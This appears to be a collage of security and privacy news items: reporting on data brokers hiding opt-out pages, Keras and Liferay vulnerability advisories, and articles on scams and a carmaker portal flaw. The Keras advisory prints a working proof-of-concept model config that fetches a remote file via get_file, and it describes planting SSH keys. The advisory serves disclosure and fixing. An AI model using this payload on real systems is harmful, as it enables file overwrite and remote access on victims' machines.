After reporters found dozens of firms hiding privacy tools from search results, US senator Maggie Hassan insists the companies explain their practices—and pledge to improve access to privacy controls.

United States senator Maggie Hassan is pressing major data brokers after an investigation by The Markup/CalMatters and copublished by WIRED found at least 35 firms hid opt-out information from search results, making it harder for people to take control of their own data and safeguard their privacy online.

Hassan, the top Democrat on the Joint Economic Committee, put five of the top firms—IQVIA Digital, Comscore, Telesign Corporation, 6sense Insights, and Findem—on notice Wednesday, demanding that each explain why code on their sites appears designed to frustrate deletion requests.

None of the companies immediately responded to WIRED’s request for comment. None previously responded to requests for comment during the investigation.

California law requires brokers to provide a way to delete personal data; however, the investigation found dozens of registered brokers obscuring their opt-out tools by hiding them from Google and other search results. Consumer advocates called it a “clever work-around” that undermines privacy rights and may qualify as an illegal _dark pattern_—a design decision that, according to California’s privacy regulator, erodes consumer “autonomy, decision making, or choice when asserting their privacy rights or consenting.”

Hassan wants the firms to justify the placement of their opt‑out pages; acknowledge whether they used code to block search indexing and, if so, against how many users; pledge to remove any such code by September 3; and provide Congress with recent audit results and steps taken since the investigation, if any, to improve user access.

“Data brokers and other online providers have a responsibility to prevent the misuse of consumer data, and Americans deserve to understand if and how their personal information is being used,” Hassan wrote, citing other tactics variously employed by the firms—forcing users to scroll through multiple screens, dismiss needless pop-ups, and hunt for links in shrunken text.

Behind the scenes, data brokers fuel a multibillion-dollar industry that trades in detailed personal information—often gathered without a person’s knowledge or consent. They compile sprawling dossiers often packed with precise location histories, political leanings, and religious affiliations, then sell and resell those profiles, powering everything from hyper‑targeted ads to law‑enforcement surveillance.

Even among the small share of Americans who know this surveillance ecosystem exists, fewer still grasp its true scale—or the ways it can shape, influence, or intrude on their lives.

Earlier this year, the Trump administration quietly abandoned a proposed rule that would have sharply limited brokers’ collection and sale of Americans’ data by treating certain brokers as “consumer reporting agencies” under the Fair Credit Reporting Act. At the same time, contract documents show the US intelligence community is preparing a centralized marketplace to streamline purchases of commercially available data—giving agencies shared access to large repositories of sensitive information without the court orders otherwise required for traditional surveillance.

For survivors of domestic violence, sexual assault, and stalking, the risks are acute. The National Network to End Domestic Violence’s Safety Net Project warns that data brokers collect and sell vast amounts of information that can put survivors at risk, adding that opting out is already a burdensome, piecemeal process, forcing people to contact companies one by one, navigate hard-to-find forms, and resubmit deletion requests regularly as information is re-collected and re-listed.

“Instead of requiring people to navigate byzantine labyrinths to protect their personal information, these companies have a responsibility to make the tools that allow Americans to exercise their right to privacy easy to find and use,” Hassan tells WIRED.

Sean Vitka, the executive director of Demand Progress, a nonprofit advocacy group critical of the industry, compares the surveillance ecosystem underlying commercial data markets to the knotted tails of a rat king—an inseparable tangle of entities sustained by unchecked data flows. “The damage done by data brokers manifests in countless ways,” he says, “but it’s all enabled by the same predatory abuse of consumers’ data.”

“And consistent with what we’re seeing here, the industry cannot be trusted to mitigate its own harms.”

Data Brokers Face New Pressure for Hiding Opt-Out Pages From Google

Cisco Talos has observed an ongoing malware campaign that seeks to infect victims with a multi-stage malware framework, implemented in PowerShell and C#, which we are referring to as “PS1Bot.”

Malvertising campaign leads to PS1Bot, a multi-stage malware framework

### Summary
It is possible to bypass the mitigation introduced in response to [CVE-2025-1550](https://github.com/keras-team/keras/security/advisories/GHSA-48g7-3x6r-xfhp), when an untrusted Keras v3 model is loaded, even when “safe_mode” is enabled, by crafting malicious arguments to built-in Keras modules.

The vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded).

### Impact

| Type   | Vector   |Impact|
| -------- | ------- | ------- |
|Unsafe deserialization |Client-Side (when loading untrusted model)|Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.|


### Details

Keras’ [safe_mode](https://www.tensorflow.org/api_docs/python/tf/keras/models/load_model) flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “__lambda__” class name.
https://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization_lib.py#L641 -

```
if config["class_name"] == "__lambda__":
        if safe_mode:
            raise ValueError(
                "Requested the deserialization of a `lambda` object. "
                "This carries a potential risk of arbitrary code execution "
                "and thus it is disallowed by default. If you trust the "
                "source of the saved model, you can pass `safe_mode=False` to "
                "the loading function in order to allow `lambda` loading, "
                "or call `keras.config.enable_unsafe_deserialization()`."
            )
```

A fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit [bb340d6780fdd6e115f2f4f78d8dbe374971c930](https://github.com/keras-team/keras/commit/bb340d6780fdd6e115f2f4f78d8dbe374971c930). 

```
package = module.split(".", maxsplit=1)[0]
if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:
```

However, it is still possible to exploit model loading, for example by reusing the internal Keras function `keras.utils.get_file`, and download remote files to an attacker-controlled location.
This allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious `authorized_keys` file into the user’s SSH folder, giving the attacker full SSH access to the victim’s machine.
Since the model does not contain arbitrary Python code, this scenario will not be blocked by “safe_mode”. It will bypass the latest fix since it uses a function from one of the approved modules (`keras`).

#### Example 
The following truncated `config.json` will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js to the local `/tmp` folder, by sending arbitrary arguments to Keras’ builtin function `keras.utils.get_file()` -

```
           {
                "class_name": "Lambda",
                "config": {
                    "arguments": {
                        "origin": "https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js",
                        "cache_dir":"/tmp",
                        "cache_subdir":"",
                        "force_download": true},
                    "function": {
                        "class_name": "function",
                        "config": "get_file",
                        "module": "keras.utils"
                    }
                },
 ```


### PoC

1. Download [malicious_model_download.keras](https://drive.google.com/file/d/1gS2I6VTTRUwUq8gBoMmvTGaN0SX1Vr8F/view?usp=drive_link) to a local directory

2. Load the model -

```
from keras.models import load_model
model = load_model("malicious_model_download.keras", safe_mode=True)
```

3. Observe that a new file `index.js` was created in the `/tmp` directory 

### Fix suggestions
1. Add an additional flag `block_all_lambda` that allows users to completely disallow loading models with a Lambda layer.
1. Audit the `keras`, `keras_hub`, `keras_cv`, `keras_nlp` modules and remove/block all “gadget functions” which could be used by malicious ML models.
1. Add an additional flag `lambda_whitelist_functions` that allows users to specify a list of functions that are allowed to be invoked by a Lambda layer

### Credit 
The vulnerability was discovered by Andrey Polkovnichenko of the JFrog Vulnerability Research

**Summary**

It is possible to bypass the mitigation introduced in response to CVE-2025-1550, when an untrusted Keras v3 model is loaded, even when “safe\_mode” is enabled, by crafting malicious arguments to built-in Keras modules.

The vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded).

**Impact**

Type

Vector

Impact

Unsafe deserialization

Client-Side (when loading untrusted model)

Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.

**Details**

Keras’ safe\_mode flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “**lambda**” class name.  
https://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization\_lib.py#L641 -

    if config["class_name"] == "__lambda__":
            if safe_mode:
                raise ValueError(
                    "Requested the deserialization of a `lambda` object. "
                    "This carries a potential risk of arbitrary code execution "
                    "and thus it is disallowed by default. If you trust the "
                    "source of the saved model, you can pass `safe_mode=False` to "
                    "the loading function in order to allow `lambda` loading, "
                    "or call `keras.config.enable_unsafe_deserialization()`."
                )
    

A fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit bb340d6780fdd6e115f2f4f78d8dbe374971c930.

    package = module.split(".", maxsplit=1)[0]
    if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:
    

However, it is still possible to exploit model loading, for example by reusing the internal Keras function keras.utils.get_file, and download remote files to an attacker-controlled location.  
This allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious authorized_keys file into the user’s SSH folder, giving the attacker full SSH access to the victim’s machine.  
Since the model does not contain arbitrary Python code, this scenario will not be blocked by “safe\_mode”. It will bypass the latest fix since it uses a function from one of the approved modules (keras).

**Example**

The following truncated config.json will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/when\_you\_watch\_computer/refs/heads/master/index.js to the local /tmp folder, by sending arbitrary arguments to Keras’ builtin function keras.utils.get_file() -

               {
                    "class_name": "Lambda",
                    "config": {
                        "arguments": {
                            "origin": "https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js",
                            "cache_dir":"/tmp",
                            "cache_subdir":"",
                            "force_download": true},
                        "function": {
                            "class_name": "function",
                            "config": "get_file",
                            "module": "keras.utils"
                        }
                    },
    

**PoC**

1.  Download malicious\_model\_download.keras to a local directory
    
2.  Load the model -
    

    from keras.models import load_model
    model = load_model("malicious_model_download.keras", safe_mode=True)
    

3.  Observe that a new file index.js was created in the /tmp directory

**Fix suggestions**

1.  Add an additional flag block_all_lambda that allows users to completely disallow loading models with a Lambda layer.
2.  Audit the keras, keras_hub, keras_cv, keras_nlp modules and remove/block all “gadget functions” which could be used by malicious ML models.
3.  Add an additional flag lambda_whitelist_functions that allows users to specify a list of functions that are allowed to be invoked by a Lambda layer

**Credit**

The vulnerability was discovered by Andrey Polkovnichenko of the JFrog Vulnerability Research

**References**

*   GHSA-c9rc-mg46-23w3
*   https://nvd.nist.gov/vuln/detail/CVE-2025-8747
*   keras-team/keras#21429
*   keras-team/keras@713172a
*   https://jfrog.com/blog/keras-safe\_mode-bypass-vulnerability

GHSA-c9rc-mg46-23w3: Keras vulnerable to CVE-2025-1550 bypass via reuse of internal functionality

A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.7, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12 and 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the google_gadget.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-222w-xmc5-jhp3: Liferay Portal and Liferay DXP have a reflected cross-site scripting vulnerability

Scam hunter Julie-Anne Kearns, who helps scam victims online, opened up about a tax scam she fell for herself.

The next time you shake your head at another online scam and vow that you’d never fall for it, remember that even the most tech-savvy people can sometimes slip up.

A case in point: Julie-Anne Kearns. This self-made scam-hunter told her story to the Guardian last week, revealing how she had been duped by people pretending to be from His Majesty’s Revenue and Customs (HMRC), which is the UK’s version of the US Internal Revenue Service (IRS).

Kearns had first pursued scam-hunting when spotting an attempt to scam her in 2022. After reporting on it on her TikTok account, she started hearing from plenty of people sharing their own experiences of online scams. Although she worked full time for the UK’s National Health Service, she began helping victims track down online criminals.

As her following grew, more online scammers tried to dupe her. Eventually, one succeeded.

It was a classic refund scam, with the criminals impersonating HMRC and sending Kearns a letter telling her she had a rebate. They asked for extra details to confirm her identity, and because the letter seemed consistent with others from the real HMRC, Kearns complied.

Kearns sent the scammers copies of her passport and driving license. The scammers promptly used those materials to claim Kearns’s rebate, and also sold the information on the dark web. The identity thieves started a business in Kearns’s name and took out loans. This tanked her credit rating and also left her battling a legal claim for non-payment of a £16,000 loan that she never took out.

“I worried about whether to share that I’d been scammed,” Kearns told the Guardian. She decided to tell all, because she hoped it might help others avoid the same fate.

Kearns isn’t the only savvy person in the cybersecurity field to fall victim to scammers. Others who are clued into scams have also been taken in. Cybersecurity researcher Troy Hunt fell victim to a phishing attack in March, after someone pretending to be from his newsletter distribution provider Mailchimp sent a bogus notification about penalties to his account. In the attack, the scammer stole around 16,000 records belonging to his blog subscribers.

“I’m enormously frustrated with myself for having fallen for this, and I apologize to anyone on that list,” Hunt wrote at the time.

Jim Browning, a scam hunter who regularly goes after online criminals halfway around the world, also suffered from a phishing attack in 2021. Criminals pretending to be from YouTube used Google Chat to send an email from the Google domain, convincing him to delete his YouTube channel.

“It wasn’t exactly my finest hour, but it does go to prove that anyone can be scammed if the circumstances are exactly right,” he said after getting his channel reinstated.

These experiences illustrate why victim shaming is such a pointless exercise. If people with experience in scamming sometimes get scammed themselves, then it’s understandable that those with less expertise in online crime also get taken in.

Even those trying to protect themselves will run across situations where they let their guard down, whether it’s phishing, answering seemingly legitimate letters from the tax department, or falling for a romance scam because they’re lonely.

Shame is a powerful weapon. When someone is caught in a scam, fear of speaking out can make things worse. So, if there’s someone you know who has been caught in a scam, have some compassion, and a non-judgmental ear.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Scam hunter scammed by tax office impersonators 

Dozens of companies are hiding how you can delete your personal data, The Markup and CalMatters found.

Data brokers are required by California law to provide ways for consumers to request their data be deleted. But good luck finding them.

More than 30 of the companies, which collect and sell consumers’ personal information, hid their deletion instructions from Google, according to a review by The Markup and CalMatters of hundreds of broker websites. This creates one more obstacle for consumers who want to delete their data.

Many of the pages containing the instructions, listed in an official state registry, use code to tell search engines to remove the page entirely from search results. Popular tools like Google and Bing respect the code by excluding pages when responding to users.

Data brokers nationwide must register in California under the state’s Consumer Privacy Act, which allows Californians to request that their information be removed, that it not be sold, or that they get access to it.

After reviewing the websites of all 499 data brokers registered with the state, we found 35 had code to stop certain pages from showing up in searches.

While those companies might be fulfilling the letter of the law by providing a page consumers can use to delete their data, it means little if those consumers can’t find the page, according to Matthew Schwartz, a policy analyst at Consumer Reports who studies the California law governing data brokers and other privacy issues.

“This sounds to me like a clever work-around to make it as hard as possible for consumers to find it,” Schwartz said.

After The Markup and CalMatters contacted the data brokers, eight said they would review the code on their websites or remove it entirely, and another two said they had independently deleted the code before being contacted. The Markup and CalMatters confirmed nine of the 10 companies removed the code.

Two companies said they added the code intentionally to avoid spam at the recommendation of experts and would not change it. The other 24 companies didn’t respond to a request for comment; however, three removed the code after The Markup and CalMatters contacted them. After publication, one company that did not previously respond, USPeopleSearch.com, said it had removed the code.

(See the data on our GitHub repo.)

Most of the companies that did respond said they were unaware the code was on their pages.

“The presence of the \[code\] on our opt-out page was indeed an oversight and not intentional,” May Haddad, a spokesperson for data company FourthWall, said in an emailed response. “Our team promptly rectified the issue upon being informed. As a standard practice, all critical pages—including opt-out and privacy pages—are intended to be indexed by default to ensure maximum visibility and accessibility.” The Markup and CalMatters confirmed that the code had been removed as of July 31.

Some companies that hid their privacy instructions from search engines included a small link at the bottom of their homepage. Accessing it often required scrolling multiple screens, dismissing pop-ups for cookie permissions and newsletter sign-ups, then finding a link that was a fraction the size of other text on the page.

So consumers still faced a serious hurdle when trying to get their information deleted.

Take the simple opt-out form for ipapi, a service offered by Kloudend that finds the physical locations of internet visitors based on their IP addresses. People can go to the company’s website to request that the company “Do Not Sell” their personal data or to invoke their “Right to Delete” it—but they would have had trouble finding the form, since it contained code excluding it from search results. A spokesperson for Kloudend described the code as an “oversight” and said the page had been changed to be visible to search engines; The Markup and CalMatters confirmed that the code had been removed as of July 31.

Telesign, a company that advertises fraud-prevention services for businesses, offers a simple form for “Data Deletion” and “Opt Out / Do Not Sell.” But that form is hidden from search engines and other automated systems and isn’t linked on its homepage.

Instead, consumers must search about 7,000 words into a privacy policy filled with legalese to find a link to the page.

A spokesperson for Telesign didn’t respond to a request for comment.

Five of the pages listed in the California registry not only aren’t indexed for search, they don’t exist. For example, a company called BrightCheck, which offers “AI-driven identity verification,” lists a privacy instructions page on the California registry. But when The Markup and CalMatters visited the page in late July, we found a notice that the page no longer exists. The page was there on March 18 when The Markup and CalMatters first scanned the site, and the Wayback Machine has an archive of the page from February 14.

BrightCheck didn’t respond to a request for comment.

**The CCPA**

The California Consumer Privacy Act went into effect in 2020, governing companies that make most of their revenue from selling consumer data or who make more than $25 million per year or handle the data of more than 100,000 people in the state. With no comprehensive federal privacy law, the law is among the few regulations data brokers must comply with.

California’s most recent broker database lists nearly 500 companies, most of which consumers have likely never heard of. They include businesses with zippy startup names like StatSocial and UpLead, and they offer everything from email marketing tools to contact directories. CalMatters last year published a guide with information on how consumers can exercise their rights using the database or third-party tools and on how they can request deletion of their children' s information.

Tom Kemp, executive director of the entity tasked with enforcing the privacy law, the California Privacy Protection Agency, said in an interview that the agency had reproduced The Markup and CalMatters’ findings. While he declined to comment on any particular company’s practices, he pointed to an enforcement advisory from the agency on “dark patterns,” which are design choices that have “the substantial effect of subverting or impairing a consumer’s autonomy, decisionmaking, or choice.”

If a company makes it much more difficult to choose to remove their personal data than to contribute it, or includes excessive jargon or other hurdles for consumers to jump through to remove it, according to the advisory, they might be violating the law.

This year, the privacy agency has taken enforcement action against companies including Todd Snyder and Honda for, among other violations, making it too difficult to choose to not have their data used. Todd Snyder paid a nearly $350,000 fine this year, while Honda agreed to pay more than $630,000. Both agreed to overhaul their privacy practices.

Kemp said that, when determining whether a company has violated the privacy act, it’s important to determine whether there’s a pattern of activity making it difficult for consumers to exercise their rights. Hiding a privacy instructions page could be the first “thread” in determining whether a company is shirking their obligations.

In the past, other companies have been criticized for hiding important web pages from search engines. In 2019, ProPublica revealed how the company behind tax filing service TurboTax added code to effectively hide an option for users to file their taxes for free. A 2021 report from the Wall Street Journal found that hospitals were hiding prices they were required to post under federal transparency rules.

Recognizing that most Californians have never heard of the hundreds of companies in the data broker registry, lawmakers in California recently passed the Delete Act. The law will create a system called the Delete Request and Opt-out Platform, or DROP, which will allow consumers in California to send a single, legally binding request to all data brokers on the registry at one time. The privacy protection agency intends to launch it next year.

Methodology

_In the course of our investigation, we made adjustments to some URLs in California's registry. For 64 sites, we removed “www.” from the beginning of the domain name to resolve server errors. For an additional 16 sites, we manually edited the URL to get to a working page. In some cases, we fixed a typo, in others, we visited the broker's main site and found the correct link by navigating to it. Read our full methodology here._

_Updated 9:05 am ET, August 13, 2025: Following publication, additional data brokers said they would review or remove the code on their websites. The story has been updated to reflect this._

Data Brokers Are Hiding Their Opt-Out Pages From Google Search

A security vulnerability in a major carmaker’s online portal exposed customer data and could have let hackers remotely…

A security vulnerability in a major carmaker’s online portal exposed customer data and could have let hackers remotely unlock vehicles. Read about the “security nightmare” and get tips to protect your car from tracking.

A new security vulnerability in a major car manufacturer’s online system has been discovered, exposing customer data and potentially allowing remote access to vehicles. The flaw was found by security researcher Eaton Zveare, who reported his findings to the company, leading to a fix in February 2025. Zveare has not publicly named the automaker, but stated it’s a well-known brand with over 1,000 dealerships in the **United States**.

For your information, Zveare is known for identifying critical vulnerabilities in IoT devices. For example, their **June 2022 findings** revealed a vulnerability in a smart jacuzzi app that could be exploited by a remote attacker to extract unsuspecting user data.

The vulnerability was found in an online portal used by the carmaker’s dealerships. Zveare discovered a way to bypass the login security by modifying the portal’s code, which allowed him to create a new “national administrator” account. This gave him “unfettered access” to the private information of thousands of customers, including personal data, financial details, and vehicle information.

Using a vehicle’s unique identification number (**VIN**), which can be seen on the windshield, a hacker could look up the owner’s name. Even more alarming, the flaw allowed a hacker to remotely control certain car functions, such as unlocking the doors, simply by knowing a customer’s name or a VIN. While Zveare did not test if it was possible to drive the cars away, the vulnerability could easily be exploited by thieves.

The dealership portal also exposed more than just customer information. With his new admin access, Zveare could view financial data from all the dealerships and even track the real-time location of rental or courtesy cars. He noted that the security flaws were a “security nightmare waiting to happen” due to the ability to impersonate other users and access different systems.

Cybersecurity firm Malwarebytes weighed in on the issue, **saying** that this is the kind of vulnerability that makes it easier for people to track and stalk others. Zveare, who presented his **findings** at the Defcon security conference, says the bugs took the company about a week to fix after he disclosed them.

He **told** TechCrunch that the main issue came down to simple authentication flaws, saying, “If you’re going to get those wrong, then everything just falls down.”

For people concerned about their car’s security, here are a few simple tips to help prevent unwanted tracking:

*   Use your phone’s navigation app (like Google Maps) instead of the one built into your car.

*   Don’t save regular destinations in the car’s navigation system.

*   Keep your car’s software updated to ensure you have the latest security protections.

*   Check your car’s remote access apps to make sure no unknown devices have been linked to your account.

Carmaker Portal Flaw Could Let Hackers Unlock Cars, Steal Data

A carmaker has been found to be open to leaking vehicle data and customer information through their dealership portal.

A carmaker’s online dealership portal has been found leaking the private information and vehicle data of its customers. This also meant that anyone with access could remotely break into a car.

Researcher Eaton Zveare shared his discovery with TechCrunch. Although he said he has chosen not to disclose the vendor’s name, he revealed that it is a well-known automaker with several popular sub-brands and more than 1,000 dealerships across the United States.

Zveare says it wasn’t easy to find the flaw, but once he did, it allowed him to modify the code at the portal’s login page so he could bypass the login security checks. This permitted him to create a new national administrator account.

Not only did this allow him to access all the data of these dealerships, he also found a national consumer lookup tool that allowed any logged-in portal user to look-up the vehicle and driver data of that carmaker.

Real life tests learned that taking a vehicle’s unique identification number (VIN) from the windshield of a car allowed anyone with access to the portal to look up the name of the owner. It was also possible to pair any vehicle with a mobile account which could then be used to remotely control a car’s functions, such as unlocking the vehicle.

Since both a VIN or someone’s first and last name were enough to find and transfer ownership of an account to one under control of an attacker, they would—at least—be able to open the car and steal everything inside. The researcher did not test whether he was able to drive away in it.

Although he found no evidence of anyone else exploiting the flaw, the portals were a security nightmare waiting to happen. It even allowed administrator accounts, such as the one he was able to create, access to other dealer systems as if they were that user without needing their logins, and found personally identifiable customer data, some financial information, and telematics systems that allowed the real-time location tracking of rental or courtesy cars.

As we have said before, this is exactly the sort of thing the Federal Communications Commission (FCC) wants car manufacturers to make harder for stalkers, not easier.

Zveare will be presenting his findings at Defcon. He reported the bugs he found to the car maker, and says it took them a week to fix them.

**Tips to keep a stalker from tracking your car**

Not all cars offer these options, and the tips may not apply to your situation, but here are some general tips for people that are afraid they are the target of a stalker:

*   Use the navigation app on your phone (such as Google Maps, Waze, etc), rather than the one built into your car.
*   Do not store places you visit regularly in the car’s navigation.
*   Consider using a VPN when you connect to your car’s hotspot.
*   Find out which devices can access the car or its location data using any “remote access” apps for the car, and remove the devices that are not under your control.
*   Familiarize yourself with the car manufacturer’s privacy policy so you know where your data might be sent. To give you an idea, data might end up with advertisers, law enforcement, service providers, the car manufacturer and its dealers, tech giants like Apple, Google, and Amazon, connected service providers, and government agencies.
*   Keep the software updated to make sure your car is equipped with the latest protection against potential intrusions.
*   If a suspected stalker has been near your vehicle, inspect it thoroughly for trackers and other unfamiliar hardware.
*   Try not to travel alone and always park in a well-lit, busy area if you are concerned about your physical safety.
*   If you have a dashcam that uses cloud storage, check who has access to the images. They can be used to track your movements.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Online portal exposed car and personal data, allowed anyone to remotely unlock cars 

A list of topics we covered in the week of August 4 to August 10 of 2025

August 7, 2025 - We found a host of blogspot pages involved in a malware campaign to promote their own content by using a LikeJack Trojan.

August 7, 2025 - Scammers are targeting Facebook users in this latest phishing campaign.

August 7, 2025 - TeaOnHer turns out to be at least as leaky as its female counterpart, Tea Dating Advice app.

August 7, 2025 - Hackers tricked workers over the phone at Google, Adidas, and more to grant access to Salesforce data.

August 7, 2025 - A jury has ruled that Meta accessed sensitive information from women's reproductive health tracking app Flo without consent.

 A week in security (August 4 &#8211; August 10) 

Dark Reading's Terry Sweeney and Google Cloud Security's Jason Kemmerer discuss how organizations can secure the modern workplace with zero trust browser protection for remote and hybrid teams.

Tag

#google